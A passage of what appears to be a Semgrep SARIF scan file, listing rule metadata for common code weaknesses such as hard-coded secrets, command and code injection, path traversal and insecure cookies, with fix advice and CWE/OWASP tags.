Re-enable certification validation."},"helpUri":"https://semgrep.dev/r/python.requests.security.disabled-cert-validation.disabled-cert-validation","id":"python.requests.security.disabled-cert-validation.disabled-cert-validation","name":"python.requests.security.disabled-cert-validation.disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.security.disabled-cert-validation.disabled-cert-validation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret","id":"java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret","name":"java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedissentinelpool-constructor-hardcoded-secret.jedissentinelpool-constructor-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like you're using an implementation of XSSRequestWrapper from dzone. (https://www.javacodegeeks.com/2012/07/anti-cross-site-scripting-xss-filter.html) The XSS filtering in this code is not secure and can be bypassed by malicious actors. It is recommended to use a stack that automatically escapes in your view or templates instead of filtering yourself."},"help":{"markdown":"It looks like you're using an implementation of XSSRequestWrapper from dzone. (https://www.javacodegeeks.com/2012/07/anti-cross-site-scripting-xss-filter.html) The XSS filtering in this code is not secure and can be bypassed by malicious actors. It is recommended to use a stack that automatically escapes in your view or templates instead of filtering yourself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"It looks like you're using an implementation of XSSRequestWrapper from dzone. (https://www.javacodegeeks.com/2012/07/anti-cross-site-scripting-xss-filter.html) The XSS filtering in this code is not secure and can be bypassed by malicious actors. It is recommended to use a stack that automatically escapes in your view or templates instead of filtering yourself."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure","id":"java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure","name":"java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xssrequestwrapper-is-insecure.xssrequestwrapper-is-insecure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected hardcoded password used in basic authentication in a controller class. Including this password in version control could expose this credential. Consider refactoring to use environment variables or configuration files."},"help":{"markdown":"Detected hardcoded password used in basic authentication in a controller class. Including this password in version control could expose this credential. Consider refactoring to use environment variables or configuration files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"Detected hardcoded password used in basic authentication in a controller class. Including this password in version control could expose this credential. Consider refactoring to use environment variables or configuration files."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller","id":"ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller","name":"ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.hardcoded-http-auth-in-controller.hardcoded-http-auth-in-controller"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"help":{"markdown":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag)\n - [https://owasp.org/www-community/controls/SecureCookieAttribute](https://owasp.org/www-community/controls/SecureCookieAttribute)\n","text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","id":"java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","name":"java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-path-traversal.laravel-path-traversal)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#path-traversal](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-path-traversal.laravel-path-traversal","id":"php.laravel.security.laravel-path-traversal.laravel-path-traversal","name":"php.laravel.security.laravel-path-traversal.laravel-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-path-traversal.laravel-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password","id":"java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password","name":"java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.net.http.passwordauthentication-hardcoded-password.passwordauthentication-hardcoded-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi","id":"python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi","name":"python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.code.tainted-code-stdlib-fastapi.tainted-code-stdlib-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password","id":"python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password","name":"python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.cassandra.python-cassandra-empty-password.python-cassandra-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret","id":"swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret","name":"swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.aes-hardcoded-secret.aes-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret","id":"go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret","name":"go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.pgx.pgx-hardcoded-secret.pgx-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda","id":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda","name":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string","id":"javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string","name":"javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","id":"java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","name":"java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If an attacker controls the x in require(x) then they can cause code to load that was not intended to run on the server."},"help":{"markdown":"If an attacker controls the x in require(x) then they can cause code to load that was not intended to run on the server.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.require-request.require-request)\n - [https://github.com/google/node-sec-roadmap/blob/master/chapter-2/dynamism.md#dynamism-when-you-need-it](https://github.com/google/node-sec-roadmap/blob/master/chapter-2/dynamism.md#dynamism-when-you-need-it)\n","text":"If an attacker controls the x in require(x) then they can cause code to load that was not intended to run on the server."},"helpUri":"https://semgrep.dev/r/javascript.express.security.require-request.require-request","id":"javascript.express.security.require-request.require-request","name":"javascript.express.security.require-request.require-request","properties":{"precision":"very-high","tags":["CWE-706: Use of Incorrectly-Resolved Name or Reference","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.require-request.require-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.code.tainted-code-stdlib.tainted-code-stdlib)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.lang.code.tainted-code-stdlib.tainted-code-stdlib","id":"python.lang.code.tainted-code-stdlib.tainted-code-stdlib","name":"python.lang.code.tainted-code-stdlib.tainted-code-stdlib","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.code.tainted-code-stdlib.tainted-code-stdlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password","id":"ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password","name":"ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false","id":"python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false","name":"python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module 